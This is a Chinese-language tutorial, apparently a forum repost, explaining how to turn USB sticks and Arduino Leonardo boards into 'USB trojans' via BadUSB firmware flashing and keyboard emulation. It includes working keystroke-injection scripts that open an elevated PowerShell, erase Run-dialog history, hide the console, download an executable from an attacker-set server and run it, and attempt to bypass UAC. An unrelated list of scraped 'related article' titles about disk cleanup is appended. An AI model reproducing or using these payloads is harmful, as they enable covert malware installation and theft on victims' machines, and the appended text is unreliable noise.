0x00 前言
   因为这篇文章的发布正好卡在春节期间,导致作者的电子元件都被推迟到二月中旬发货,所以先写本篇文章解释大致的概念和步骤,更详细的介绍在不久后我会再发布的,另外祝大家新年拿到新0day!

0x01 邪恶的U盘

U盘木马是一个很有意思且实用的东西,他就想XXOO一样,只要插进去之后主机就会中(huai)毒(yun),在国内很少有关于U盘木马木马的技术性文章(与其他方面相比)U盘木马的确小众,在我最开始学习U盘木马的时候我连一篇文章都找不到,因此为了填补这个空缺本篇文章将会详细说明U盘木马的原理及制作。

0x02 BadUSB
    BadUSB的起源是在2014年美国黑帽大会上,柏林SRLabs的安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”(按照BadBIOS命名)的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。
    利用USB口入侵有两种攻击方案,一种是下面说的BadUSB,第二种就是用开发板将自己伪装成例如键盘、网卡等设备,例如橡皮鸭(这玩意挺坑的,你去淘宝上找丫880一个)就是伪装成键盘的。
    但是请注意,上述方法只是利用USB口而不是USB闪存,那种方法需要单片机,但BadUSB却只需要要普通的U盘就可以,USB闪存由引导模块和储存部分组成,你可以尝试拆开一个U盘看一看里边的样子,我推荐去补天兑换那个6库币的银色16GU盘,那个很容易开。

0x03 特殊的“普通U盘”变BadUSB

在很久之前利用hacksaw可以让任意U盘化身一个BadUSB但是很可惜在之后他就无法使用了

不过我们依然有办法让家用普通U盘变为BadUSB,虽然我们利用的是家用的普通U盘,但实际上对U盘还是有要求的,我们需要一个带有Phison 2303(2251-03)微处理器的USB 3.0闪存驱动器,下面的图中是带有此处理器U盘型号,推荐你们使用Toshiba TransMemory-MX USB 3.0东芝的这款,购买链接:https://item.jd.com/946270.html

在开始前我们要确定我们的U盘是可用的,你可以用提取U盘信息的软件核实U盘的引导模块,如果微处理器的确为Phison 2251-03那就可以继续下面的步骤    我们借用github上的脚本来进行操作,首先你需要下载一个编译器:VS,然后还需要刷一下固件所以要找一个Burner Image,它是在你的设备上倾倒与刷新固件所需。它们通常使用“BNxxVyyyz.BIN”规则来命名(下载链接:http://www.usbdev.ru/files/phison/)。最后下载Duck Encoder,他是基于Java平台的工具,可以将脚本转化为HID负载。这个是建立于黑客Hak5发开的、被称为“Rubber Ducky”的Bad-USD(下载链接:https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Downloads)。
    然后刷取固件,写入脚本就可以,详细的做法请参见http://www.freebuf.com/articles/terminal/82238.html
    既然你刷了固件就意味着你无法继续使用此U盘领取,如果你依然固执想要复原有盘那就必须短接flash
badusb恢复.zip (2.72 MB, 下载次数: 15)
这个就是恢复badusb的文件,里面也有还原方法,这个文件可能网上也几乎找不到了,比较珍贵,所以推荐你先下载下来

以上方法就是利用了USB闪存的引导模块,刷固件然后写个脚本生成固件,当然刚刚引用的那个链接是借用的github的脚本,因为笔者也没有PS 2251-03的U盘,而且这种方法的确不常用,所以就不细说了。

0x04 TEENSY

这才是比较常用的方案,利用单片机、开发板来进行入侵,我们讲一下怎样利用最常见的Arduino制作U盘木马黑遍大江南北
其实这种方法极其简单,你只需要在Arduion里的IDE输入代码就行,而恶意代码网上有很多可以参考的

准备材料:(a)一个Arduino的模拟USB开发板(购买链接:https://item.taobao.com/item.htm?spm=a230r.1.14.25.TVzX5U)
                 (b)Arduino的IDE(下载链接:http://www.arduino.cn/thread-5838-1-1.html)
                 (c)安卓数据线
                 (d)超短micro转USB
                 (e)电脑

Arduino一定买我给的链接的那种,咱们需要的是Arduino Leonardo,也就十几到二十左右,不要瞎买

就是这种的,不过因为他的这个USB是小USB也就是咱们安卓手机的那种,所以你还需要一个转接头的,然后载入Arduino的IDE输入代码,记得要在IDE的工具一栏中选择正确的开发板和COM口,咱们的这个选Arduino Leonardo然后编译即可,整个步骤非常简单连接开发板,输入代码,拔出开发板

其实制作这样的U盘很简单的,如果说难度的话大概就在于脚本的编写,我引用他人的脚本你们看一下

Keyboard.println("powershell.exe -command start-process powershell -verb runAs");  /*开启管理员级别的powershell*/Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); /*清除运行窗口产生的记录*/Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')");  /*从服务端下载病毒 服务器地址和木马自己指定 还有木马将在目标机上存放的地址 自己设置*///自己想了一个比较笨的方法绕过UAC  就是询问管理员是否同意的那个框框Keyboard.press(KEY_LEFT_ARROW); //按住左方向键Keyboard.release(KEY_LEFT_ARROW); //释放左方向键Keyboard.press(KEY_RETURN); //按下回车键Keyboard.release(KEY_RETURN);//释放enter键

如果你想自己编写脚本那你就要学学Arduino了,其实也不算难的,网上代码有很多,下面这个也可以

void setup() {//初始化,这里的代码只执行一次Keyboard.begin();//开始键盘通讯delay(3000);//延时 避免初始化对后面产生影响,不宜太短Keyboard.press(KEY_LEFT_GUI);//按下win键delay(500);Keyboard.press('r');//按下r键delay(500);Keyboard.release(KEY_LEFT_GUI);//释放win键Keyboard.release('r');//释放r键delay(500);Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");//输入并回车delay(1000);Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");delay(1000);Keyboard.println("powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://192.168.1.102/x.exe';$file = ' C:\\x.exe ';$clnt.DownloadFile($url,$file);");delay(3000);Keyboard.println("c:\\x.exe&exit");Keyboard.end();//结束键盘通讯}void loop()//循环,这里的代码无限循环{}

不过虽然网上代码很多,但大部分都比较简陋,如果你想提升一下最好别单纯复制,比较非难事

0x05 最后总结
U盘木马实际上依靠的就是伪装自己成为网卡、键盘等设备然后入侵,因为作者的确没有实验装置,所以,如何入侵、代码如何编写下期再讲,谢谢!

更多文章请看:http://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=48

转载于:https://my.oschina.net/ichunqiu/blog/837387

删除U盘里的小黄片吧!教你如何制作U盘木马相关推荐

  1. win7c盘空间越来越小_技术员教你win7系统C盘空间越来越小导致C盘空间不足的设置方法...

    许多win7系统用户在工作中经常会遇到win7系统C盘空间越来越小导致C盘空间不足的情况,比如近日有用户到本站反映说win7系统C盘空间越来越小导致C盘空间不足的问题,但是却不知道要怎么解决win7系 ...

  2. win7c盘空间越来越小_电脑c盘空间越来越小怎么办?教你解决电脑c盘空间小的方法...

    一般我们使用过的电脑在最早的时候C盘空间还是挺大的,但是用久了之后有的朋友就在问"电脑c盘空间越来越小怎么办"进度条都快有蓝色的变为红色的了,所以今天就教大家如何来解决电脑c盘空间 ...

  3. ArcMap基础:批量删除复合图斑里的小图斑(消除面部件)

    要删除如上所示的小图斑,由于是复合图斑,当然可以通过编辑折点,点击删除折点的方式进行,也可以有简便的办法. 找到[数据管理工具]下的[制图综合]下的[消除面部件]工具, 然后进行条件设置,将面积小于1 ...

  4. C盘空间越来越小怎么办,教你27招

    现在的软件大部分采用标准的Windows安装模式,用户只需双击Setup.exe文件即可轻松安装.不过,这样的安装方式也有一个弊病:很多程序在默认情况下都会安装到操作系统所在分区(绝大多数用户选择了C ...

  5. u盘里装linux系统软件,手把手教你在U盘里面安装一个LINUX系统

    烈火建站学院(LieHuo.Net)服务器文档一提到LINUX,一些人会觉得没有WINDOWS那么实用,那么方便,那么简单,甚至觉得LINUX几乎没什么软件.用它干什么.最主要的一点,某些想尝试一下图 ...

  6. 电脑c盘怎么清理_电脑C盘内存不足?三分钟教你彻底清理C盘空间,瞬间多出10个G...

    很多新手在使用电脑的时候,一般都会把文件放在C盘里,时间久了,不仅内存不够,电脑还变得越来越卡,所以今天小编就来教您改怎么清理C盘,瞬间多出大量空间. 一.删除浏览记录, 首先进入电脑控制面板,将查看 ...

  7. 如何整理计算机本地磁盘文件夹,怎么清理c盘无用文件,10招教你如何清除C盘除系统外的所有垃圾...

    C盘简介 C盘是电脑硬盘的主分区之一,一般用于储存或安装系统使用,C盘对于本地硬盘的单操作系统来说,是很重要的,所以平时存放文件尽量不要放在C盘: 但是在使用的过程中难免会不注意从而导致C盘空间不足, ...

  8. Win系统 - C盘又满了?一招教你如何给C盘瘦身

    对于懒人大部分拿到电脑通病,懒得分区,分盘,什么东西都保存到了C盘里:内存很大够用还好说,外一C盘不够用了,红色预警.那你的设备用起来会非常蓝瘦香菇. 1. 开启Win10自动清理垃圾功能 依次进入W ...

  9. u盘装系统学计算机好,教你如何使用u盘做系统

    电脑对人们来说是了越来越重要了,怎么说呢,不论是在工作中,还是小孩的学习都需要使用电脑,所以说人们是越来越离不开对电脑的使用了.不过,电脑毕竟是电子产品,所以免不了会出现一些故障问题,比如蓝屏,黑屏. ...

最新文章

  1. 【全网之最】全网最短代码——给名字、电话、账号、昵称加星号*添加隐私保护、身份证号加密、信息脱敏
  2. 让Jexus支持高并发请求的优化技巧
  3. mysql密码高级_MySQL数据库高级操作(图文详解)
  4. django 分页功能
  5. jsp文件的请求是如何被服务器的JSP容器转换成静态网页的
  6. python发送邮件脚本_python-发邮件脚本
  7. gettimeofday_PHP gettimeofday()函数与示例
  8. startup,startup mount,startup nomount之间的区别
  9. matlab2c使用c++实现matlab函数系列教程-sort函数
  10. Python内置函数(17)——chr
  11. matlab 数字基带,基于MATLAB的数字基带传输的 FIR滤波器的设计
  12. html字体溢出问题,CSS教程:关于文字溢出问题的研究
  13. Python爬取新浪英超曼联文章内页--bs4,json,txt和csv以及编码
  14. 偏振光工业相机_工业相机选择六大参数必看
  15. Vue页面如何~及时更新页面数据
  16. java des 加密 单倍长_明明白白使用DES加密算法
  17. excel基础-固定某一列的输入内容
  18. 计算机视觉快速入门一 —— 图像基本操作(二)
  19. CNN用于句子分类时的超参数分析
  20. OA项目异常信息——Internl Server Error

热门文章

  1. 137.菜单悬停放大特效
  2. 怎么制作app系统软件,大概需要多少钱
  3. PBR来龙去脉篇三:一些知识储备
  4. python爬虫专家_Python爬虫入门教程 27-100 微医挂号网专家团队数据抓取pyspider-阿里云开发者社区...
  5. App 抓包问题与解决
  6. linux进程系列(5)进程链与进程扇
  7. AD20使用技巧和笔记
  8. 买定离手!AI预测英雄联盟S12冠军;微软使用AI提高农业生产效率;编程语言的自动生成;机器学习核方法入门·电子书;前沿论文 | ShowMeAI资讯日报
  9. freemind问题合集
  10. 牛叔说电影-圣堂四骑士